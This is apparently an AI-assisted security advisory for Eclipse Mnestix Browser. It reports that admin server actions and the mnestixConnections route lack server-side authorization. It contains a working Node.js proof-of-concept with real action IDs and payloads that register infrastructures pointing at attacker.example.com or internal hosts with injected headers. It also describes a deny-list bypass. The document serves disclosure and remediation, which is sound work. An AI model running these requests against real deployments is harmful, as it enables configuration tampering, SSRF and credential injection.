> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse Mnestix **Project id:** dt.mnestix **Repository:** https://github.com/eclipse-mnestix/mnestix-browser </details> <details> <summary><strong>What are the affected versions?</strong></summary> - `/api/mnestixConnections` POST: **v1.2.0 → v2.2.0** (`git tag --contains e3ce905`). - Infrastructure CRUD server actions: **v2.0.0 → v2.2.0** (`git tag --contains 8340c55`). - Reproduced on **v2.2.0 / commit `ceaf3580`**. </details> <details open> <summary><strong>Summary</strong></summary> Mnestix Browser gates its admin-only `/settings` UI with the React component `<PrivateRoute>` and the `AllowedRoutes` map, but this is **client-side rendering only**. The server actions that the settings page calls — most notably the infrastructure CRUD actions in `src/lib/services/database/infrastructureDatabaseActions.ts` — and the REST route `POST /api/mnestixConnections` perform **no `getServerSession()` check and no role check**. Any unauthenticated network caller who knows the action IDs (which are embedded in the public JS bundles) can create, update, list and delete infrastructure records — including stored security headers / proxy credentials — and create connection records, regardless of whether `AUTHENTICATION_FEATURE_FLAG` is enabled. The only server actions in the repository that *do* enforce authorization are those in `src/lib/services/rbac-service/RbacActions.ts`. </details> <details> <summary><strong>Severity</strong></summary> **High.** Works with no preconditions against a fresh install: the attacker needs only network access to the application. With `AUTHENTICATION_FEATURE_FLAG=false` (the documented default) there is no authentication anywhere by design, so this finding is reported for the configuration where the operator *has* turned authentication on (`AUTHENTICATION_FEATURE_FLAG=true` with Keycloak/Azure AD) and reasonably expects `/settings` to be restricted to `mnestix-admin`. The impact is configuration tampering and stored-credential write/delete on the Prisma database; combined with finding `mnestix-browser--001` it lets an anonymous attacker register an infrastructure that points at internal hosts and then have the server send stored credentials there. It is rated High rather than Critical because the directly affected asset is Mnestix's own configuration DB rather than the downstream AAS data, and because the authenticated configuration is not the quick-start default. </details> <details> <summary><strong>Weakness</strong></summary> - CWE-862 — Missing Authorization - CWE-602 — Client-Side Enforcement of Server-Side Security </details> <details> <summary><strong>Location</strong></summary> Vulnerable server actions (no `getServerSession` / no role check): `src/lib/services/database/infrastructureDatabaseActions.ts` ```text 1 'use server'; 21 export async function getInfrastructuresAction() 122 export async function createInfrastructureAction(infrastructureData: InfrastructureFormData) 127 export async function updateInfrastructureAction(infrastructureData: InfrastructureFormData) 132 export async function deleteInfrastructureAction(infrastructureId: string): Promise<void> ``` `src/lib/services/aas-generator/blueprintsApiActions.ts` — `createBlueprint`, `updateBlueprint`, `deleteBlueprintById` (admin-only writes, no check). `src/lib/services/aas-generator/configurationApiActions.ts` — `putSingleIdGenerationSetting` (admin-only write, no check). `src/app/api/mnestixConnections/route.ts` — `GET` and `POST` handlers contain no `getServerSession` call. Client-side-only gate the maintainers rely on: `src/app/[locale]/settings/page.tsx` is `'use client'` and wraps content in `<PrivateRoute currentRoute={'/settings'}>`. `src/components/authentication/PrivateRoute.tsx` reads `useSession()` in the browser; if the user lacks the role it renders a "Forbidden" page. This never runs for a direct server-action POST. The correct pattern already exists in `src/lib/services/rbac-service/RbacActions.ts:14-23`: ```ts async function getRequestErrorOrUndefined(logger: typeof baseLogger) { const session = await getServerSession(authOptions); if (!session) { return wrapErrorCode(ApiResultStatus.UNAUTHORIZED, 'Unauthorized'); } if (!session.user.roles.includes(MnestixRole.MnestixAdmin)) { logWarn(logger, 'validateRequest', 'User is not authorized to access this resource'); return wrapErrorCode(ApiResultStatus.FORBIDDEN, 'Forbidden'); } ``` …but it is used only inside that one file. Action IDs (build-specific, all present in public chunk `dist/static/chunks/4018a3196342e48a.js`) used in the reproduction: | Action | ID | |---|---| | `createInfrastructureAction` | `40727d209ac7008cbff2e3cbeb2fe574616f22c4c3` | | `getInfrastructuresAction` | `00a149b06b7496637a6652395e5068b46af9d70296` | | `updateInfrastructureAction` | `40ffc5cc3ef1454468bebbce9ff6eefd0e8e815aed` | | `deleteInfrastructureAction` | `40e78e6dd41216d424bda2e904c80e93f1820b15ca` | | `putSingleIdGenerationSetting` | `60a5f76f1b0d3ca3f5d5085c2ef156df76ee14abb1` | </details> <details> <summary><strong>Origin</strong></summary> - `POST /api/mnestixConnections` without auth: `e3ce9051ab9b8184969f05f255291cb8a0859df7` (2024-09-12, "feat(repositry settings) (\#86)"). - `infrastructureDatabaseActions.ts` (create/update/delete server actions without auth): `8340c559dd2058be1cd365e309a60cb9c31a6406` (2025-08-22, "Feat(new infrastructure) unit tests (\#435)"). - The settings page was placed behind `<PrivateRoute>` in `03af57a` ("feat(settings): Add infrastructure settings page (\#427)") with no corresponding server-side check. </details> <details> <summary><strong>Methodology</strong></summary> 1. Grepped every `'use server'` module for `getServerSession` / `authOptions` / role checks. Only `RbacActions.ts` matched. 2. Inspected `src/middleware.ts` — it only performs `next-intl` locale routing; there is no auth middleware and no `matcher` covering `/settings` or `/api/*`. 3. Confirmed `<PrivateRoute>` is a pure client component (`'use client'`), so it cannot intercept a raw server-action POST. 4. Built the app (`next build`), extracted the action IDs from `dist/server/server-reference-manifest.js`, and verified those IDs appear in the publicly-served client chunk `4018a3196342e48a.js`. 5. Started the standalone production server with `AUTHENTICATION_FEATURE_FLAG=true` and **no session cookie**, then drove create → list → delete via the server-action wire protocol. Noted that the *runtime* env value is irrelevant here: the action source contains no branch on the flag and no `getServerSession` call, so the behaviour is identical for any flag value. 6. Prior-art search (same queries as report 001): no GitHub issues, no security advisories, and no commit messages reference missing authorization on server actions or the `mnestixConnections` route. </details> <details> <summary><strong>Validation</strong></summary> Build & start the production server (with auth nominally enabled), then run `repro-authz.mjs`: ```js #!/usr/bin/env node /** * End-to-end reproduction of missing server-side authorization on * admin-only server actions and the /api/mnestixConnections route. * * Server is running with AUTHENTICATION_FEATURE_FLAG=true (Keycloak), so the * `/settings` page is gated to the `mnestix-admin` role on the client side * via the <PrivateRoute> React component. This script sends requests with * NO session cookie / no Authorization header and shows that the server * still executes the privileged operations. */ const TARGET = 'http://127.0.0.1:3000'; // Action IDs from dist/static/chunks/4018a3196342e48a.js (publicly served). const CREATE_INFRA = '40727d209ac7008cbff2e3cbeb2fe574616f22c4c3'; const GET_INFRAS = '00a149b06b7496637a6652395e5068b46af9d70296'; const DELETE_INFRA = '40e78e6dd41216d424bda2e904c80e93f1820b15ca'; const SETTINGS_PATH = '/en/settings'; const post = (action, args) => fetch(`${TARGET}${SETTINGS_PATH}`, { method: 'POST', headers: { 'Next-Action': action, Accept: 'text/x-component', 'Content-Type': 'text/plain;charset=UTF-8', }, body: JSON.stringify(args), }).then(async (r) => ({ status: r.status, body: await r.text() })); const extractResult = (rsc) => { const m = rsc.match(/^1:(.*)$/m); return m ? m[1] : rsc; }; console.log('=== No session cookie, AUTHENTICATION_FEATURE_FLAG=true ===\n'); // 1) Confirm we are unauthenticated ----------------------------------------- const sess = await fetch(`${TARGET}/api/auth/session`).then((r) => r.json()); console.log('[*] /api/auth/session ->', JSON.stringify(sess)); // 2) Create an infrastructure as an unauthenticated attacker ----------------- const payload = { name: 'attacker-infra-' + Date.now(), securityType: 'NONE', connections: [ { url: 'http://attacker.example.com/aas', types: ['AAS_REPOSITORY'] }, ], }; console.log('\n[*] invoking createInfrastructureAction (admin-only) without auth...'); let r = await post(CREATE_INFRA, [payload]); console.log(` HTTP ${r.status} result: ${extractResult(r.body)}`); // 3) List infrastructures to confirm it was persisted ------------------------ console.log('\n[*] invoking getInfrastructuresAction without auth...'); r = await post(GET_INFRAS, [undefined]); const list = extractResult(r.body); console.log(` HTTP ${r.status} result (truncated): ${list.slice(0, 600)}`); const created = list.includes(payload.name) && list.includes('attacker.example.com'); console.log(` -> attacker-created infrastructure persisted: ${created}`); // 4) Find its ID and delete it (also without auth) --------------------------- const idMatch = list.match(/"id":"([a-z0-9]+)","name":"attacker-infra-[0-9]+"/); if (idMatch) { console.log(`\n[*] invoking deleteInfrastructureAction("${idMatch[1]}") without auth...`); r = await post(DELETE_INFRA, [idMatch[1]]); console.log(` HTTP ${r.status} result: ${extractResult(r.body)}`); } // 5) /api/mnestixConnections also has no auth check -------------------------- console.log('\n[*] GET /api/mnestixConnections without auth...'); r = await fetch(`${TARGET}/api/mnestixConnections`); console.log(` HTTP ${r.status} body: ${(await r.text()).slice(0, 300)}`); console.log('\n[!!] Admin-only infrastructure CRUD executed without authentication.'); console.log('[!!] <PrivateRoute> protection in src/app/[locale]/settings/page.tsx is client-side only.'); process.exit(created ? 0 : 1); ``` Observed output (`node repro-authz.mjs`): ``` === No session cookie, AUTHENTICATION_FEATURE_FLAG=true === [*] /api/auth/session -> {} [*] invoking createInfrastructureAction (admin-only) without auth... HTTP 200 result: {"id":"cmolscgly0000qfix3jmsw9zy","name":"attacker-infra-1777571786481","logo":null,"securityTypeId":"0"} [*] invoking getInfrastructuresAction without auth... HTTP 200 result (truncated): [{"id":"cmolscgly0000qfix3jmsw9zy","name":"attacker-infra-1777571786481","logo":null,"securityTypeId":"0","connections":[{"id":"cmolscgm00001qfix06k6ocyr","url":"http://attacker.example.com/aas","infrastructureId":"cmolscgly0000qfix3jmsw9zy","types":[{"connectionId":"cmolscgm00001qfix06k6ocyr","typeId":"0","type":{"id":"0","typeName":"AAS_REPOSITORY"}}]}],"securityType":{"id":"0","typeName":"NONE"},"securitySettingsHeaders":null,"securitySettingsProxies":null}] -> attacker-created infrastructure persisted: true [*] invoking deleteInfrastructureAction("cmolscgly0000qfix3jmsw9zy") without auth... HTTP 200 result: "$undefined" [*] GET /api/mnestixConnections without auth... HTTP 200 body: [] [!!] Admin-only infrastructure CRUD executed without authentication. [!!] <PrivateRoute> protection in src/app/[locale]/settings/page.tsx is client-side only. ``` Note `/api/auth/session -> {}` (no session) yet every privileged action returned `HTTP 200` and the new record appeared in the database listing. </details> <details> <summary><strong>Detail</strong></summary> Next.js server actions are HTTP endpoints. The framework provides **no implicit authentication**: if a `'use server'` function is imported anywhere in client code, its action ID is shipped in the public JS bundle and any HTTP client can invoke it. The Next.js documentation states: *"Server Actions should be treated as public-facing API endpoints. You should ensure that the user is authorized to perform the action."* Mnestix's `/settings` page is a `'use client'` component wrapped in `<PrivateRoute>`, which uses `useSession()` to decide whether to *render* the admin UI. That component never executes for a direct POST: server-action dispatch in the Next.js App Router resolves the action ID against the server reference manifest and calls the function directly, before any React rendering of the page. There is also no `middleware.ts` matcher protecting `/settings` or `/api/*`; the only middleware present is the `next-intl` locale router. The `infrastructure` CRUD actions write to the SQLite database via Prisma. Stored infrastructure records can include `securitySettingsHeaders` (arbitrary header name/value pairs, encrypted at rest) and `securitySettingsProxies`. By creating or replacing these records an attacker controls which headers Mnestix attaches to backend requests for that infrastructure, and which URLs those requests target — effectively a persistent SSRF / credential-injection foothold even without finding `mnestix-browser--001`. `deleteInfrastructureAction` lets an attacker remove operator-configured infrastructures, breaking the application for legitimate users. `/api/mnestixConnections` is the legacy REST equivalent (Prisma `mnestixConnection` table) and has had the same gap since v1.2.0. A minor related observation: `validateHeaderKey` in `src/lib/util/securityHelpers/ValidateSecurityInput.ts` compares the supplied header name against a deny-list case-sensitively, so `'authorization'` (lowercase) bypasses the check. This is defense-in-depth on the same write path and not reported separately. </details> <details> <summary><strong>Verification Report — Missing server-side authorization on admin server actions and `/api/mnestixConnections`</strong></summary> **Verdict: TRUE POSITIVE** (CWE-862 Missing Authorization, CWE-602 Client-Side Enforcement of Server-Side Security) **EXPOSURE: REMOTE** — In an `AUTHENTICATION_FEATURE_FLAG=true` deployment, an unauthenticated network client (no cookie, no credentials) can invoke the admin infrastructure/blueprint/ID-generation server actions and the `/api/mnestixConnections` route directly; the attacker needs only HTTP reachability to the app. **SCOPE: PRODUCTION** — README describes Mnestix Browser as "an open source software designed to simplify the implementation of the Asset Administration Shell," shipped via `docker compose up` with a live public demo; nothing marks it dev-only or out of vulnerability-reporting scope. **Project status:** Actively maintained (Eclipse Foundation / XITASO). No EOL/deprecation/successor banner in README or docs — a code fix can be expected. --- ### Step 0 — Claim restated The `/settings` admin UI is gated only by the client React component `<PrivateRoute>` (`useAuth()` in the browser). The server actions it calls (infrastructure CRUD in `infrastructureDatabaseActions.ts`, blueprint writes, `putSingleIdGenerationSetting`) and the REST route `POST/GET /api/mnestixConnections` perform no `getServerSession()`/role check. Since Next.js `'use server'` exports are public POST endpoints with no implicit auth, any unauthenticated caller can execute admin-only DB operations. Bug class: **authorization / access control** (not memory/arithmetic), so mathematical-bounds and race analysis are N/A. Threat model: unauthenticated remote attacker with network reach; code runs server-side with full DB/Prisma privileges. Routed as **deep** (cross-component: client gate ↔ middleware ↔ server-action dispatch ↔ REST route ↔ Prisma). ### Phase 1 — Data Flow Analysis - **Source (untrusted):** HTTP request body/params from an anonymous client — either the server-action wire protocol (`POST /en/settings` with `Next-Action: <id>`, action IDs published in the client bundle / `server-reference-manifest`) or `POST /api/mnestixConnections` with JSON. - **Trust boundary:** The network→server boundary is the only boundary, and **nothing crosses it as a check.** `infrastructureDatabaseActions.ts:21-24,122-135` call `PrismaConnector.create()` and hit the DB with no session read. `route.ts:4-39` read/write Prisma directly. `PrismaConnector.createInfrastructure/updateInfrastructure/deleteInfrastructureAction` contain no auth and do persist `securitySettingsHeaders`. - **API contract:** Next.js docs state server actions "should be treated as public-facing API endpoints"; the framework adds no auth. Confirmed no wrapper: repo-wide grep shows `getServerSession` used for *authorization* only in `RbacActions.ts` (`SecurityConfiguration.ts` uses it only to mint a bearer token, not to gate the caller). - **Environment protections:** **No `src/middleware.ts` exists anywhere in the repo** (verified by `find`), so there is no `withAuth`/matcher protecting `/settings` or `/api/*`. The `<PrivateRoute>`/`AllowedRoutes` gate is `'use client'` and never executes for a direct action/REST POST. - **Cross-reference:** The intended pattern exists (`RbacActions.ts:15-32`, `getRequestErrorOrUndefined` → `getServerSession` + `MnestixRole.MnestixAdmin`) but is applied to that one module only. Confirms the omission is a real gap, not an upstream check elsewhere. ### Phase 2 — Exploitability Verification - **Attacker control:** CONFIRMED. Attacker fully controls the action ID (public in `4018a3196342e48a.js` / server-reference manifest) and the JSON payload (infrastructure name, connection URLs, `securitySettingsHeaders` key/value, target for delete). No token, cookie, or CSRF secret is required (server actions accept the documented headers). - **Reachability:** CONFIRMED. Path is source→Prisma with zero intervening guard (Phase 1). The executable static-differential PoC confirmed all four targets have `hasAnyAuthCheck=false`, the control module `true`, and `middleware present=false`. - **Math bounds:** N/A (authorization bug). - **Race conditions:** N/A (no TOCTOU; the missing check is unconditional, not a window). - **Adversarial:** The report's own live reproduction (server started with `AUTHENTICATION_FEATURE_FLAG=true`, `/api/auth/session → {}`, create/list/delete each `HTTP 200`, record persisted) is consistent with the code and the dispatch model; the negative PoC reproduces the decision logic. ### Phase 3 — Impact Assessment Real security impact, not mere robustness: - **Integrity / persistent SSRF & credential-injection:** attacker creates/updates infrastructure records carrying attacker-chosen `securitySettingsHeaders` (encrypted at rest but attacker-supplied) and connection URLs, so the server later attaches those headers to backend requests aimed at attacker-chosen hosts. - **Availability:** `deleteInfrastructureAction` wipes operator infrastructure (config-wipe DoS). - **Confidentiality:** `getInfrastructuresAction`/`GET /api/mnestixConnections` list configured infra. This is a **primary control failure** (the only authorization on these operations), not defense-in-depth. The `validateHeaderKey` case-sensitivity note is correctly treated as secondary defense-in-depth, not the finding. ### Phase 4 — PoC - **Pseudocode (wire protocol):** `POST /en/settings` with `Next-Action: <createInfrastructureAction id>`, `Accept: text/x-component`, body `[{"name":"x","securityType":"HEADER","headers":[{"key":"X-Internal-Token","value":"…"}],"connections":[{"url":"http://10.0.0.5:8081","types":["AAS_REPOSITORY"]}]}]`, no cookie → record persisted; repeat with delete/get IDs; `POST /api/mnestixConnections {"url":"http://attacker/aas","type":"AAS_REPOSITORY"}`. - **Executable PoC** (`static_diff_poc.mjs`, exit 0): proved all four sinks contain no authorization tokens while `RbacActions.ts` does, and no middleware exists. - **Negative PoC** (`negative_poc.mjs`, exit 0): with `getServerSession()→null`, the as-shipped action executes the unauth write (`rows=["attacker"]`) whereas the `requireAdmin()`-guarded variant rejects with `UNAUTHORIZED` — proving the exploit precondition is precisely the missing guard. - **Live E2E:** performed by the report author against a production build; not re-run here because a full `next build` isn't needed to establish the logic gap, which the code and PoCs already prove. ### Phase 5 — Devil's Advocate (13 checks) 1. **Full validation chain:** traced back through `PrismaConnector` and the action modules — no preceding auth anywhere. ✔ real. 2. **Conditional-logic reachability:** actions are unconditional exports; no gating branch. No mathematical unreachability. ✔. 3. **Exploitable data path confirmed:** source→Prisma, end to end. ✔. 4. **Data-source trust:** input is anonymous network data, not trusted internal storage. ✔ attacker-controlled. 5. **Bounds logic:** N/A. 6. **TOCTOU:** N/A — unconditional missing check. 7. **API contract / trust boundary:** Next.js explicitly treats server actions as public endpoints with no implicit auth — this *supports* the finding. ✔. 8. **Internal vs external input:** the write payload originates from the attacker, not an installer/trusted component. ✔. 9. **Pattern vs analysis:** not pattern-matching — verified by reading each sink and confirming absence of the check present in the sibling module. ✔. 10. **Concurrency actually possible:** N/A. 11. **Real vs theoretical impact:** concrete integrity/DoS/SSRF impact, not operational nuisance (Phase 3). ✔. 12. **Defense-in-depth vs primary:** this *is* the primary and only control; its absence is the vuln. ✔. 13. **Applied rigorously:** all items above worked through, not skimmed. ✔. - **Key honest caveat (addressed, not fatal):** With the documented quick-start default `AUTHENTICATION_FEATURE_FLAG=false`, the whole app is intentionally open, so there is nothing to bypass. The finding is legitimately scoped to `=true` deployments where the operator enabled Keycloak/Azure AD and reasonably expects `/settings` restricted to `mnestix-admin`. Critically, the action code has **no branch on the flag at all**, so enabling auth does not protect these actions — the only thing that changes is the client-side `<PrivateRoute>`, which a direct POST ignores. This makes the finding real, not a config misuse. ### Gate Review | Gate | Result | Basis | |---|---|---| | 1. Process | **PASS** | All phases completed with concrete evidence + 2 executable PoCs. | | 2. Reachability | **PASS** | Anonymous action/REST POST reaches Prisma with no guard; PoCs + report's live run confirm. | | 3. Real Impact | **PASS** | Config tampering, persistent SSRF/credential-injection, and config-wipe DoS. | | 4. PoC Validation | **PASS** | Static-differential and negative PoCs both exit 0; wire-protocol PoC matches dispatch model. | | 5. Math Bounds | **N/A → PASS** | Authorization bug; no arithmetic condition to bound. | | 6. Environment | **PASS** | No middleware, no server-side gate, no framework implicit-auth; nothing blocks exploitation. | All applicable gates pass. **BUG TRUE POSITIVE** — Admin-only infrastructure/blueprint/ID-generation server actions and the `/api/mnestixConnections` REST route enforce no server-side authorization; the only access control (`<PrivateRoute>`) is client-side, so an unauthenticated network client can create/update/delete/list Mnestix configuration (including attacker-chosen security headers and connection URLs) even when authentication is enabled. Fix by adding a shared `requireAdmin()` (mirroring `RbacActions.ts`) at the top of each write/read action and the route handlers, backed by an auth middleware matcher for defense in depth. </details> <details> <summary><strong>Steps to reproduce</strong></summary> 1. Load any page and grep the public JS chunks for `createServerReference("40` to obtain the action IDs. 2. Without any cookie, POST to `/en/settings` with `Next-Action: <createInfrastructureAction-id>` and body `[{"name":"x","securityType":"HEADERS","headers":[{"key":"X-Internal-Token","value":"…"}],"connections":[{"url":"http://10.0.0.5:8081","types":["AAS_REPOSITORY"]}]}]` to register a malicious infrastructure pointing at an internal host with an attacker-chosen header. 3. Use the same transport with `deleteInfrastructureAction` to remove the operator's real infrastructure entries (denial of service / configuration wipe). 4. POST `{"url":"http://attacker/aas","type":"AAS_REPOSITORY"}` to `/api/mnestixConnections` to add a connection record without any UI. </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> 1. Extract the existing helper from `RbacActions.ts` into a shared `src/lib/util/securityHelpers/requireRole.ts`: **Suggested fix:** [fix.ts](/uploads/3a820922e4000da92ea830e9fb5709d6/fix.ts) and call `await requireAdmin()` at the top of `createInfrastructureAction`, `updateInfrastructureAction`, `deleteInfrastructureAction`, `createBlueprint`, `updateBlueprint`, `deleteBlueprintById`, `putSingleIdGenerationSetting`, `transferAasWithSubmodels`, and the `POST`/`DELETE` handlers in `src/app/api/mnestixConnections/route.ts`. 2. Add a `middleware.ts` `matcher` for `/:locale/settings/:path*` and `/api/mnestixConnections` that calls `withAuth` from `next-auth/middleware` so the page route itself is also blocked server-side (defence in depth — server actions can still be invoked against other paths, so step 1 is the load-bearing fix). 3. While touching `ValidateSecurityInput.ts`, lower-case the header key before comparing against the `dangerousHeaders` deny-list. --- **Verification verdict:** TRUE POSITIVE </details>